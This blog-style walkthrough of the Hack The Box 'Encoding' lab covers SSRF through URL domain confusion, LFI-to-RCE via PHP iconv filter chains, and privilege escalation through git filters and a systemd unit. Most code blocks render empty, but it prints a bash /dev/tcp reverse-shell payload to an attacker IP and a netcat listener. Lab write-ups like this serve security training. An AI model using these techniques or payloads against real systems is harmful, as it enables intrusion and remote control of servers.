Encoding HTB Walkthrough
Introduction
Another exploitable PHP web app that focuses on character conversions. We leverage Local File Inclusion (LFI) to further enumerate the system by looking at Apache config files and PHP source. With some sleuthing, we find work-in-progress code in a git repository – finding the path to a vulnerable looking PHP script. Knowing this path is only accessible to localhost, we trace back through an existing LFI and use domain confusion in order to perform Server Side Request Forgery. With this, we can execute the vulnerable looking PHP script. From here, we inject a PHP filter chain into the page
query parameter, which allows us to leverage LFI to include and execute arbitrary PHP code thanks to encoding conversions prepending controllable characters – setting up a reverse shell. We privilege escalate to a service account by creating a reverse shell we execute as a git
filter. Next, we privilege escalate to root by creating and restarting a systemd unit which spawns a root shell.
Enumeration
As usual, we start enumerating running services by port scanning with nmap, -sC
for default scripts and -sV
to enable version detection:
|
|
Browse to the found web server on http://10.10.11.198/:
In the Convertions (sic) menu, we can select from String, Integer, Numbers. This presents a form like so:
The API page gives us useful information on the available API calls we can make when hitting http://api.haxtables.htb/ programmatically:
On the string conversions page, we select Base64 encode, enter a string and click Submit – while intercepting the request in BurpSuite:
|
|
|
|
Here, I decided to add 10.10.11.198 haxtables.htb api.haxtables.htb
to my /etc/hosts
Fuzzing the main host with raft medium from SecLists, a common wordlist for web directories:
|
|
Fuzzing api.haxtables.htb
with the same wordlist:
|
|
So, we have what looks like a versioned API, with versions 1, 2, 3. We can specify different actions to determine the conversion type, specify a data
payload directly, or a file_url
which the server will retrieve to convert.
Foothold
The /handler.php
script appears to be a wrapper around the API called from the web interface and we can specify the underlying API to use via the uri_path
, which we can control (first red flag!).
I tried some payloads with a modified uri_path
similar to the following:
|
|
Each time, the server would hang for 5-10 seconds, before giving an empty HTTP 200 response.
Hitting the URL directly, trying to encode localhost:
|
|
So there seems to be some filtering to try and stop us from performing Server Side Request Forgery (SSRF).
HackTricks has a list of URL format bypasses: URL Format Bypass - HackTricks , and http://0/
seemed to work:
|
|
I read around on PHP based Local file Inclusion, and found the file://
URI works:
|
|
The one interesting user here, apart from root:
|
|
We know the server is Apache 2.4.52 running on Ubuntu, so with this in mind, I searched around for Apache log paths on Ubuntu. After trying different locations for logs and configuration, I found the root config at /etc/apache2/apache2.conf
:
|
|
To speed things up, I decided to search for LFI wordlists I could run with ffuf
– and found the following:
https://github.com/DragonJAR/Security-Wordlist/blob/main/LFI-WordList-Linux
We run ffuf
and filter out responses with size 11 bytes, which gives us valid responses:
|
|
When looking at /etc/apache2/ports.conf
, a comment references /etc/apache2/sites-enabled/000-default.conf
:
|
|
Looking at this file:
|
|
With the DocumentRoot /var/www/html
, we can retrieve index.php
– which doesn’t contain much interesting. We also have DocumentRoot /var/www/api
, which is the location of the API we exploited via LFI. Let’s look at the strings PHP script we exploited:
|
|
This includes ../../../utils.php
, which contains the following:
|
|
Here’s the source of /handler.php
, which is the wrapper used by the web interface to call the underlying API:
|
|
I noticed the images convert page just says Coming soon!:
But this is clearly defined in the Apache config:
|
|
So looking at /var/www/images/index.php
:
|
|
The utils.php
script here looks different..
|
|
There are extra git_status()
, git_log()
and git_commit()
functions, all of which shell out using shell_exec()
from within /var/www/image
to call /usr/bin/git
– so it appears this directory is a git repository.
There’s also a sudo
command to run /var/www/image/scripts/git-commit.sh
as the user svc
. The script in question, once again pulled using LFI as above:
|
|
Here’s where I decided to do things a real quick & dirty way, and look at files in the .git
directory using our LFI exploit - to read config
, HEAD
, index
. I toyed with the idea of using gitdumper, but looking at the index
file gave me another hint quite quickly – this is the staging area of a git repository, before something is committed:
|
|
We see two paths actions/action_handler.php
and actions/image2pdf.php
:
|
|
So, actions/action_handler.php
exists – but actions/image2pdf.php
does not. We add image.haxtables.htb
to our /etc/hosts
– and we know before even trying that this host / directory is only accessible from 127.0.0.1 – due to the Apache config we found above with directives Deny from all
and Allow from 127.0.0.1
:
We know from before, that URL filtering is in place – but we can bypass this in some circumstances to achieve SSRF on http://api.haxtables.htb/v3/tools/string/index.php
in the file_url
field in our JSON payload. I tried a few bypass techniques such as http://image.haxtables$foo.htb/
– hoping the string interpolation would replace $foo
with an empty string and bypass the SSRF, but this didn’t work.
Looking back at /handler.php
in our main app, we POST a payload as follows:
|
|
handler.php
simply checks for the existence of the action
and uri_path
keys, before calling $response = make_api_call($action, $data, $uri_path, $is_file);
. Our make_api_call()
function is shown below:
|
|
So there’s no filtering or validation to stop a URI containing localhost, but the URL is constructed as follows – trying to force our input to be used as a path within http://api.haxtables.htb
, and ending in /index.php
:
|
|
Can we bypass this? Our URL Format Bypass page earlier include domain confusion techniques, such as:
|
|
RFC 3986: Uniform Resource Identifier (URI): Generic Syntax contains an authority component, where userinfo
, usually comprising of user:pass
is denoted before a domain with @
(and shouldn’t be used!). By prefixing our attacker.com
domain with @
, then http://{domain}
will be ignored and effectively treated as a username – allowing us to change the domain.
So if we set $uri_path
to @image.haxtables.htb
, we end up with http://api.haxtables.htb@image.haxtables.htb/index.php
. http://api.haxtables.htb
will be treated as a username, and curl will subsequently request the domain/path image.haxtables.htb/index.php
. Confirming this works:
|
|
We’ve successfully bypassed the URI path restriction, and used SSRF to be able to hit http://image.haxtables.htb
, despite this being blocked within the Apache config. We can now try /actions/action_handler?page=/etc/hosts
– appending a &
so the /index.php
added within the make_api_call()
function will be discarded and treated as a query param rather than part of the path:
|
|
Excellent!.. So we’re able to use domain confusion starting with user@
and ending with &
to to inject our own URL achieving SSRF, and calling the /actions/action_handler.php?page=/etc/hosts&
URL on the image host, which includes the page
we specify – /etc/hosts
in this instance (another LFI).
Let’s see how else we can exploit the include($page);
in /actions/action_handler.php
. One option is log poisoning – which allows us to take LFI and turn it into Remote Code Execution (RCE).
We could, for example, poison a log (e.g. apache access log) with a dangerous string such as <?php shell_exec('..'); ?>
, then do LFI, so PHP will include
this file, parsing and executing our dangerous string/code in an otherwise innocuous file. I looked at APACHE_LOG_DIR
in /etc/apache2/envvars
, which pointed at /var/log/apache2
, but I couldn’t find the expected log file at /var/log/apache2/access.log
. I spent a bit of time here trying unsucccessfully locate logs we could poison.
Another LFI2RCE option is via PHP filters as per LFI2RCE via PHP Filters - HackTricks and PHP filters chain: What is it and how to use it. Essentially, if we achieve LFI, we can specify a file using the php://
URI e.g. php://filter/[..]/resource=test.txt
. Our byte stream for file test.txt
will pass through the filters specified within [..]
These filters, particularly convert.iconv.*
will process stream data with iconv()
– allowing us to convert our stream from some input encoding to another output encoding. Quite often, this conversion will result in characters being prepended to the existing stream. Given the name of the machine, it seems this is likely the intended path to gaining a foothold.
By chaining (with |
) these filters together, we can use LFI to load a file from disk, and prepend arbitrary characters to this file stream – such that an include
will allow us to include and execute arbitrary code in addition to including the file contents loaded from disk.
Our script on HackTricks contains a mapping of conversions, where for each value of arbtirary code we wish to load, we include the required filter chain. Better yet, Synacktive provide a script here covering alphanumerics and some other special characters – more than enough!. Running the script to get a filter chain for our PHP reverse shell <?php system('bash -c \"bash -i >& /dev/tcp/10.10.14.23/3322 0>&1\"'); ?>
(output not shown due to length):
|
|
Now, Let’s use LFI and SSRF with our generated chained PHP filter, which in /actions/action_handler.php
will use include()
to load the filtered temp file (we can even create arbitrary temp bytestreams to load with php://temp
– no need for read access to a known file on disk!) executing our reverse shell (PHP filter chain shown here in full within the page
query param):
|
|
Back in our netcat listener on port 3322:
|
|
We don’t have the user flag yet, but we have a reverse shell! It’s also worth mentioning here I had to try a few PHP reverse shells encoded as PHP filters before the above worked. There’s a lot of trial and error that I don’t include in write ups for brevity.
Are we able to run anything as sudo
with the www-data user?:
|
|
It appears we can run sudo -u svc /var/www/image/scripts/git-commit.sh
, which will basically run git ls-files
before adding any found unstaged files. Failing this, it will call git commit -m "Committed from API!"
. We can’t add files directly to /var/www/image
, but getfacl
shows we (www-data) have write access to the .git
directory:
|
|
Initially, I tried creating a few common git hooks before running sudo -u svc /var/www/image/scripts/git-commit.sh
:
|
|
Unfortunately, this didn’t work – and as I found out, the --no-verify
git flag skips git commit hooks. Searching for git privilege escalation, I came across this: Sudo Git Privilege Escalation | Exploit Notes
Reading the comprehensive (and free!) ProGit book online, I came across https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes and particularly filters. In particular, the indent
filter will run all your source code through the indent program before committing.
Let’s see if this works when there’s nothing to commit in the git repo staging area, and we run as sudo
, while we have another reverse shell listening locally with nc -lvnp 3344
:
|
|
You’ll notice the output is a little wonky, probably because I struggled to upgrade to a fully interactive TTY. So above we created our reverse shell in /tmp/clean
marking it executable. We apply the indent
filter to *.php
files, and we set the git repo’s config to point to our /tmp/clean
script for the indent filter. Then we run the git script. Back in our reverse shell:
|
|
Sweet! We got a reverse shell as the svc
user, got the user flag, plus an SSH private key to help us log in via SSH – so we get a nice interactive TTY.
Privilege Escalation
After SSHing in with ssh -i id_rsa svc@haxtables.htb
, we see we can run /usr/bin/systemctl restart *
as sudo:
|
|
First I tried Wildcards Spare tricks, but systemctl
kept escaping my bad input. My next thought was to see if I can create a systemd unit file with a reverse shell, and restart my new service.. Let’s see which directories are writable by this user:
|
|
We create a service called seashell, a reverse shell back to my machine. We copy it into /etc/systemd/system
, and restart it:
|
|
And back in our netcat listener, we now have a root shell, plus the root flag!:
|
|
Done!
Conclusion
I had read about PHP filter chains a little while ago as a means of leveraging LFI to gain Remote Code Execution (LFI2RCE) – and it was quite cool to finally try it out in a somewhat real-worldish setting.
I definitely got lost along the way and back tracked a few times – log poisoning led me astray, and working towards SSRF took some time. After this though, the path was fairly obvious, particularly privesc to the service account and root.
Any valuable lessons learnt? While going deep is definitely valuable and required, I should consider approaches such as time boxing any ‘bread crumbs’, and making a decision to back track before trying something else – it’s exceptionally easy to get caught up on an attack vector that never actually eventuates at times.
I’m not sure of the best tool (logseq whiteboards?), but it would be cool to use a mind mapping app to track progress on CTFs and more easily see the paths tried, dead ends, etc. Speaking of tools, I might try Villain next time around, as a nice session manager for shells and alternative to netcat. After seeing John Hammond demo Villain, and losing track of my open shells, it looks like the perfect tool for managing shell sessions.